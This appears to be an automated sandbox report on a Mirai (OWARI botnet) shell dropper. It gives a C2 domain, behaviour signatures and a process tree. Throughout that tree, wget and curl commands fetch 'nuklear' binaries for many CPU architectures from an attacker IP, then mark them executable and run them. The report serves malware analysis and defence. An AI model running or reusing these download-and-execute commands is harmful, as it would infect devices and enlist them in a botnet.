Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    06/11/2024, 01:46

General

  • Target
    c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
  • Size 2KB
  • Sample241106-b7asratbnj
  • SHA256 c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • cnc.carteldesinaloa.ru

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (58422) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Modifies Watchdog functionality 1 TTPs 14 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Changes its process name 7 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
    /tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
    1⤵
    • Writes file to tmp directory
    PID:706
    • /usr/bin/wget
      wget http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Writes file to tmp directory
      PID:713
    • /usr/bin/curl
      curl -O http://94.156.177.146/389242390482/nuklear.arm
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:724
    • /bin/cat
      cat nuklear.arm
      2⤵
        PID:733
      • /bin/chmod
        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.payload systemd-private-a97b6899fc074244b4040fb00ebfbf50-systemd-timedated.service-zWvHbE
        2⤵
        • File and Directory Permissions Modification
        PID:734
      • /tmp/nuklear.payload
        ./nuklear.payload nuklear.payload
        2⤵
          PID:735
        • /usr/bin/wget
          wget http://94.156.177.146/389242390482/nuklear.arm5
          2⤵
          • Writes file to tmp directory
          PID:737
        • /usr/bin/curl
          curl -O http://94.156.177.146/389242390482/nuklear.arm5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:739
        • /bin/cat
          cat nuklear.arm5
          2⤵
            PID:740
          • /bin/chmod
            chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.payload systemd-private-a97b6899fc074244b4040fb00ebfbf50-systemd-timedated.service-zWvHbE
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/nuklear.payload
            ./nuklear.payload nuklear.payload
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://94.156.177.146/389242390482/nuklear.arm6
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://94.156.177.146/389242390482/nuklear.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:745
            • /bin/cat
              cat nuklear.arm6
              2⤵
                PID:746
              • /bin/chmod
                chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.payload systemd-private-a97b6899fc074244b4040fb00ebfbf50-systemd-timedated.service-zWvHbE
                2⤵
                • File and Directory Permissions Modification
                PID:747
              • /tmp/nuklear.payload
                ./nuklear.payload nuklear.payload
                2⤵
                  PID:748
                • /usr/bin/wget
                  wget http://94.156.177.146/389242390482/nuklear.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:750
                • /usr/bin/curl
                  curl -O http://94.156.177.146/389242390482/nuklear.arm7
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:751
                • /bin/cat
                  cat nuklear.arm7
                  2⤵
                    PID:765
                  • /bin/chmod
                    chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.payload
                    2⤵
                    • File and Directory Permissions Modification
                    PID:767
                  • /tmp/nuklear.payload
                    ./nuklear.payload nuklear.payload
                    2⤵
                      PID:769
                    • /usr/bin/wget
                      wget http://94.156.177.146/389242390482/nuklear.m68k
                      2⤵
                      • Writes file to tmp directory
                      PID:771
                    • /usr/bin/curl
                      curl -O http://94.156.177.146/389242390482/nuklear.m68k
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:778
                    • /bin/cat
                      cat nuklear.m68k
                      2⤵
                        PID:788
                      • /bin/chmod
                        chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.payload
                        2⤵
                        • File and Directory Permissions Modification
                        PID:789
                      • /tmp/nuklear.payload
                        ./nuklear.payload nuklear.payload
                        2⤵
                          PID:791
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.mips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:793
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.mips
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:804
                        • /bin/cat
                          cat nuklear.mips
                          2⤵
                          • System Network Configuration Discovery
                          PID:812
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.payload
                          2⤵
                          • File and Directory Permissions Modification
                          PID:813
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:814
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.mpsl
                          2⤵
                          • Writes file to tmp directory
                          PID:818
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.mpsl
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:822
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload
                          2⤵
                          • File and Directory Permissions Modification
                          PID:824
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:825
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.ppc
                          2⤵
                          • Writes file to tmp directory
                          PID:832
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.ppc
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:833
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:835
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:836
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.sh4
                          2⤵
                          • Writes file to tmp directory
                          PID:841
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.sh4
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:844
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4
                          2⤵
                          • File and Directory Permissions Modification
                          PID:854
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:856
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.spc
                          2⤵
                          • Writes file to tmp directory
                          PID:861
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.spc
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:869
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:880
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:881
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.x86
                          2⤵
                          • Writes file to tmp directory
                          PID:886
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.x86
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:896
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86
                          2⤵
                          • File and Directory Permissions Modification
                          PID:898
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:899
                        • /usr/bin/wget
                          wget http://94.156.177.146/389242390482/nuklear.x86_64
                          2⤵
                          • Writes file to tmp directory
                          PID:903
                        • /usr/bin/curl
                          curl -O http://94.156.177.146/389242390482/nuklear.x86_64
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:910
                        • /bin/chmod
                          chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 nuklear.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:912
                        • /tmp/nuklear.payload
                          ./nuklear.payload nuklear.payload
                          2⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          PID:913

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            nuklear.arm

                            • Path /tmp/nuklear.arm
                            • Size 81KB
                            • SHA256 6a4f0c194ff955c49428fd391a73eed5477541588feddbfde6a1f5acea1489af
                            • MD5 SHA1 SHA512 SSDEEP